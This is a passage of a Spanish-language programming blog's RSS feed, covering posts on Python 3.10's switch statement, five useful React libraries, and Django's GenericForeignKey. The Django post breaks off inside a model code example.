si quieres revisar la lista de cambios completa por favor visita &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.python.org/3.10/whatsnew/3.10.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Se anunció Python 3.10 y viene con algo que muchos desarrolladores echaban de menos de otros lenguajes: el switch statement. Sí, ese trozo de código que evalúa una expresión y la compara con múltiples casos para decidir que ejecutar. Python no lo tenía implementado y muchos desarrolladores recurrían a ciertos trucos para imitarlo.&lt;/p&gt;&#xA;&lt;p&gt;Te recuerdo que si no sabes nada de Python tengo una entrada donde hablo del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;libro &amp;ldquo;Inmersion en Python&amp;rdquo;&lt;/a&gt;&#xA;; uno de los mejores libros gratuitos para aprender Python desde cero.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>5 librerías geniales de React que debes conocer</title>
      <link>https://coffeebytes.dev/es/react/5-librerias-geniales-de-react-que-debes-conocer/</link>
      <pubDate>Tue, 02 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/react/5-librerias-geniales-de-react-que-debes-conocer/</guid>
      
      <category>react</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Después de varias semanas publicando sobre Django escribí una entrada corta de React, sobre librerías, porque no solo de Python vive el hombre. Estás son algunas de las librerías que considero más útiles de React. Por razones obvias están excluidas React-router, Redux y otras demasiado conocidas. Así como también algunos Frameworks de React tales como Gatsby, Nextjs, Frontity y otros.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres aprender React pero no sabes Javascript lee mi entrada, donde hablo de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/el-mejor-libro-para-aprender-javascript-moderno/&#34;&gt;uno de los mejores libros para empezar con Javascript.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;ant-design&#34;&gt;Ant Design&lt;/h2&gt;&#xA;&lt;p&gt;Ant design es hermosa, sí, no hay mucho que se pueda profundizar usando texto. Tiene montones de componentes que son agradables visualmente hablando y muy elegantes: botones, sliders, barras de progreso, layouts, ya sabes, lo básico. Asegúrate de visitar el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://ant.design/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;sitio web de Ant design&lt;/a&gt;&#xA; para ver por ti mismo todo lo qu esta librería tiene para ofrecer.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Ant-design.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Ant-design.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla de ant design&#34; width=&#34;715&#34; height=&#34;604&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;formik&#34;&gt;formik&lt;/h2&gt;&#xA;&lt;p&gt;Formik es una librería genial. Esta librería consigue que trabajar con formularios sea sencillo y escalable. Te permite tener campos controlados, crear validaciones, resetear el formulario, establecer un estado, manejar errores, todo con unas cuantas lineas de código: definimos un objeto que contenga propiedades con sus respectivas validaciones y listo, formik se encarga de casi todo.&lt;/p&gt;&#xA;&lt;p&gt;Nota el esquema de validación en la parte izquierda consistente de un objeto llamado &lt;em&gt;ValidationSchema&lt;/em&gt; el cual tiene el nombre de los campos y funciones que se concatenan para llevar a cabo la validación. Existen funciones como &lt;em&gt;min()&lt;/em&gt;, &lt;em&gt;max()&lt;/em&gt;, &lt;em&gt;oneOf()&lt;/em&gt; y muchas otras para &lt;strong&gt;casi cualquier tipo de validación que requieras.&lt;/strong&gt; Te dejo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://codesandbox.io/s/zkrk5yldz?file=/index.js&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;el enlace al sandbox&lt;/a&gt;&#xA; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://codesandbox.io/s/zkrk5yldz?file=/index.js&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA; de donde tome este ejemplo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Formik-1.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Formik-1.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla de código de Formik&#34; width=&#34;1527&#34; height=&#34;648&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;react-query&#34;&gt;React query&lt;/h2&gt;&#xA;&lt;p&gt;Cada vez que se hace una petición a una API hay código que se repite; hacer la petición, mostrar un elemento que indique que se está cargando contenido, recibir el error o el estado exitoso y guardarlo en el estado. ¿Te suena?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;React query se encarga de reducir todo el código repetitivo que se encarga de todo el proceso de manejo de peticiones web proveyéndonos de un hook especial del que podemos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-con-valores-por-defecto-en-javascript/&#34;&gt;desestructurar variables&lt;/a&gt;&#xA; que nos facilitarán el manejo de la respuesta.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/reactQuery.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/reactQuery.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Librería React query&#34; width=&#34;1417&#34; height=&#34;869&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;react-icons-kit&#34;&gt;React-icons-kit&lt;/h2&gt;&#xA;&lt;p&gt;A veces es bastante molesto encargarse de la parte de la parte gráfica de una página web. Hay iconos en todos lados pero hay que buscarlos, a veces un paquete de íconos no tiene todos los íconos que necesitamos y tenemos que combinar diferentes. Una excelente opción a estos problemas es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://react-icons-kit.now.sh/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;React-icons-kit&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Antes de usarla recuerda revisar la licencia de los íconos que decidas usar, porque no todas las licencias son igual de permisivas.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/React-icons-kit.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/React-icons-kit.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla de la página de React icons kit&#34; width=&#34;735&#34; height=&#34;420&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;el-react-minimalista-preact&#34;&gt;El React minimalista: Preact&lt;/h2&gt;&#xA;&lt;p&gt;Preact es React, sí, mismas funciones, bueno, en realidad no todas, pero las más comunes sí, todo en solo 3kb. &lt;strong&gt;Preact promete ser mucho más rápido y ligero que su contraparte&lt;/strong&gt; pues usa el &lt;em&gt;addEventListener&lt;/em&gt; nativo del navegador en lugar del manejador de eventos sintético que usa React. Además también tiene funciones exclusivas que no encuentras en React. Esta librería es ideal para aplicaciones donde el rendimiento es un factor crítico.&lt;/p&gt;&#xA;&lt;p&gt;Puedes leer más diferencias entre React y Preact en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://preactjs.com/guide/v10/differences-to-react/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;su página oficial.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Preact.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Preact.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla de la página de Preact&#34; width=&#34;1016&#34; height=&#34;863&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;react-admin&#34;&gt;React admin&lt;/h2&gt;&#xA;&lt;p&gt;React admin es el equivalente del django admin pero en React, una interfaz para realizar operaciones CRUD a los modelos de tu base de datos. Requiere una configuración muy básica, pero una vez que la configuras ya está todo hecho. Visita el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://marmelab.com/react-admin-demo/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;demo de React admin&lt;/a&gt;&#xA; para que lo conozcas.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/ReactAdminInterfaz.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/ReactAdminInterfaz.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Interfaz de React admin&#34; width=&#34;1911&#34; height=&#34;937&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;bonus-react-virtualized&#34;&gt;Bonus: React Virtualized&lt;/h2&gt;&#xA;&lt;p&gt;React virtualized se encarga de resolver un problema que luce bastante simple al principio. Renderizar listas e información susceptible de tabular. ¿Solo eso? Bueno, sí, pero renderizar listas con unos cuantos elementos no sería un problema, ¿o sí? El fuerte de React Virtualized no es renderizar listas pequeñas, sino listas grandes, mayores a 1k de elementos con la mayoría de los problemas que se presentan ya resueltos y probados.&lt;/p&gt;&#xA;&lt;p&gt;Visita &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://bvaughn.github.io/react-virtualized/#/components/List&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la página de React Virtualized&lt;/a&gt;&#xA; para leer la documentación completa.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/ReactVirtualized.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/ReactVirtualized.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;React Virtualized funcionando para renderizar tablas&#34; width=&#34;640&#34; height=&#34;480&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Después de varias semanas publicando sobre Django escribí una entrada corta de React, sobre librerías, porque no solo de Python vive el hombre. Estás son algunas de las librerías que considero más útiles de React. Por razones obvias están excluidas React-router, Redux y otras demasiado conocidas. Así como también algunos Frameworks de React tales como Gatsby, Nextjs, Frontity y otros.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres aprender React pero no sabes Javascript lee mi entrada, donde hablo de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/el-mejor-libro-para-aprender-javascript-moderno/&#34;&gt;uno de los mejores libros para empezar con Javascript.&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Para qué sirve Django Generic Foreignkey?</title>
      <link>https://coffeebytes.dev/es/django/para-que-sirve-django-generic-foreignkey/</link>
      <pubDate>Mon, 22 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/para-que-sirve-django-generic-foreignkey/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Quieres usar Django para relacionar un modelo con otro usando una llave foránea, pero el modelo que quieres relacionar es uno diferente para cada entrada de la base de datos. Django Generic Foreign Key ofrece una solución a tu problema, una llave foránea genérica llamada genericForeignKey y el modelo ContentType, del que ya hable anteriormente.&lt;/p&gt;&#xA;&lt;p&gt;El tipo de campo genericForeignkey es capaz de enlazar a diferentes tipos de modelos, lo que nos permite relacionar cualquier otro modelo con el nuestro. ¿Recuerdas que en la entrada anterior hablé de ContentType? Pues ahora sí le daremos una aplicación práctica. Si quieres repasar un poco lo anterior, visita mi entrada donde hablo de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/que-hace-la-aplicacion-contenttype-en-django/&#34;&gt;ContentType en Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;el-campo-genericforeignkey&#34;&gt;El campo genericForeignKey&lt;/h2&gt;&#xA;&lt;p&gt;Imagina un historial de actividades que lleve registro de lo que hace cada usuario: subir un video, borrar una canción, darle like a una publicación, etc. El objetivo de la acción de cada usuario será un modelo distinto cada vez, por lo que podemos usar genericForeignKey para crear nuestro historial.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.contenttypes.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ContentType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.contenttypes.fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; GenericForeignKey&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; User&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ActivityStream&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(User, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    action &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;128&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    content_type &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(ContentType, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    object_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveIntegerField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    item &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; GenericForeignKey(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;content_type&amp;#39;&lt;/span&gt;, &lt;span 